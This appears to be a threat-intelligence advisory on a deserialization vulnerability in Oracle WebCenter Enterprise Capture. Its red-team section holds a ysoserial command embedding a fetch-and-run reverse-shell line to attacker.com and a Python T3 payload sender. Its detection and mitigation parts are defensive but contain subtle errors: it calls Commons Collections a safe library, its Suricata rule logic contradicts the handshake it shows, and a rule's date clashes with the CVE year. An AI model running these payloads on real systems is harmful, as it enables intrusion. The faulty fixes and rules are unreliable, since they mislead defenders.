CVE-2026-35284

Executive Summary

CVE-2026-35284 is a critical deserialization vulnerability in Oracle WebCenter Enterprise Capture, affecting versions 12.2.1.4.0 and 14.1.2.0.0. The flaw resides in the Client Bundle component and is exploitable via T3 or IIOP protocols by a low-privileged attacker with network access. Successful exploitation leads to complete takeover of the application, with a CVSS score of 9.9 due to scope change and high impact on confidentiality, integrity, and availability. No public proof-of-concept or patch is currently available, but the vulnerability is considered highly dangerous due to the ease of exploitation and potential for lateral movement.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Oracle Fusion Middleware component, and no open-source supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – impacts other products
• Confidentiality: High (C:H)
• Integrity: High (I:H)
• Availability: High (A:H)

The threat level is critical due to the low attack complexity, low privileges required, and the potential for full system compromise with lateral movement to other systems.

Deep Dive & Mechanics

The vulnerability is a deserialization flaw in the Client Bundle component of Oracle WebCenter Enterprise Capture. The component handles serialized Java objects over T3 (RMI) and IIOP (CORBA) protocols. An attacker can send a crafted serialized object that, when deserialized by the server, executes arbitrary code. The low privilege requirement (PR:L) suggests that even authenticated users with minimal permissions can trigger the exploit. The scope change (S:C) indicates that the attack can affect other products in the Oracle Fusion Middleware ecosystem, potentially leading to a full domain compromise.

The root cause is the insecure deserialization of untrusted data without proper validation or filtering. Oracle’s implementation of the T3 and IIOP protocols does not enforce a whitelist of allowed classes, allowing attackers to use gadgets from the classpath to achieve remote code execution.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the default deserialization handler in the Client Bundle component. A patched version would implement a class whitelist or use a safe deserialization library like Apache Commons Collections with a deny list. The following pseudo-code illustrates the vulnerable pattern:

// Vulnerable: Direct deserialization without validation
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
Object obj = ois.readObject(); // No class filtering

A patched version would include:

// Patched: Use a whitelist
ObjectInputStream ois = new ValidatingObjectInputStream(socket.getInputStream());
ois.accept(AllowedClasses.class); // Only allow specific classes
Object obj = ois.readObject();

Exploitation & Lab Setup

Red Team

Prerequisites:

• Oracle WebCenter Enterprise Capture 12.2.1.4.0 or 14.1.2.0.0 running on a network-accessible host.
• Low-privileged credentials (e.g., a user account with minimal permissions).
• Network access to the T3 (port 7001) or IIOP (port 14000) endpoints.

Exploitation Steps:

1. Identify the target’s T3 or IIOP port using Shodan or Nmap.
2. Use a tool like ysoserial to generate a malicious serialized object with a gadget chain (e.g., CommonsCollections1).
3. Send the payload to the target via a custom Java client or script.
4. Execute a reverse shell or implant to maintain persistence.

Example command using ysoserial:

java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/shell.sh | bash' > payload.bin

Python script to send payload over T3:

import socket

def send_t3_payload(host, port, payload_file):
    with open(payload_file, 'rb') as f:
        payload = f.read()
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    # T3 handshake (simplified)
    sock.send(b"t3 12.2.1\nAS:255\nHL:19\n\n")
    sock.send(payload)
    sock.close()

send_t3_payload('target.com', 7001, 'payload.bin')

Blue Team

Detection:

• Monitor for unusual T3 or IIOP traffic, especially large serialized objects.
• Use network intrusion detection systems (NIDS) to flag deserialization patterns.
• Enable logging on Oracle WebCenter to capture deserialization errors.

Hunting:

• Search for java.io.ObjectInputStream or readObject calls in application logs.
• Look for outbound connections from the Oracle server to unknown IPs.

Mitigation:

• Apply network segmentation to restrict access to T3/IIOP ports.
• Use a Web Application Firewall (WAF) to inspect and block malicious serialized objects.
• Monitor for unauthorized changes to the Oracle WebCenter configuration.

Indicators of Compromise (IOCs)

• Network:
  • Unusual T3 or IIOP traffic to/from the Oracle server.
  • Large serialized objects (over 1MB) on port 7001 or 14000.
  • Outbound connections to known malicious IPs or domains.
• Host:
  • Unexpected processes (e.g., reverse shells) running on the Oracle server.
  • New files in /tmp or /var/tmp with suspicious names.
  • Modified system binaries or libraries.
• Logs:
  • Deserialization errors in Oracle WebCenter logs (e.g., java.io.InvalidClassException).
  • Authentication logs showing low-privileged users accessing sensitive endpoints.

Detection Engineering

YARA Rule

rule CVE_2026_35284_Deserialization {
    meta:
        description = "Detects malicious serialized objects targeting Oracle WebCenter Enterprise Capture"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-35284"
    strings:
        $t3_header = "t3 12.2.1" ascii wide
        $iiop_header = "GIOP" ascii wide
        $java_serial = { AC ED 00 05 } // Java serialization magic bytes
        $ysoserial_gadget = /CommonsCollections|CommonsBeanutils|Jdk7u21/ ascii
    condition:
        ($t3_header or $iiop_header) and $java_serial and $ysoserial_gadget
}

Sigma Rule

title: CVE-2026-35284 Oracle WebCenter Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic indicative of deserialization attacks against Oracle WebCenter Enterprise Capture
author: Valters IT
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port:
            - 7001
            - 14000
        payload|contains:
            - 't3 12.2.1'
            - 'GIOP'
        payload|startswith: 'AC ED 00 05'
    condition: selection
falsepositives:
    - Legitimate Oracle WebCenter traffic
level: high

Suricata Rule

alert tcp any any -> any 7001 (msg:"CVE-2026-35284 Oracle WebCenter T3 Deserialization Attempt"; flow:to_server; content:"|AC ED 00 05|"; depth:4; content:"t3 12.2.1"; within:20; classtype:attempted-admin; sid:1000001; rev:1;)
alert tcp any any -> any 14000 (msg:"CVE-2026-35284 Oracle WebCenter IIOP Deserialization Attempt"; flow:to_server; content:"|AC ED 00 05|"; depth:4; content:"GIOP"; within:20; classtype:attempted-admin; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply network access controls to restrict T3 and IIOP ports to trusted IPs only.
2. Disable T3 and IIOP protocols if not required for business operations.
3. Implement a Web Application Firewall (WAF) with rules to block serialized objects.

Long-term Fix:

• Monitor Oracle’s security advisories for an official patch.
• Upgrade to a patched version once available.
• Consider migrating to a different capture solution if Oracle does not provide a timely fix.

Workaround:

• Use a Java agent to instrument the deserialization process and enforce a class whitelist.
• Example: Use the SerialKiller library to filter deserialized classes.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert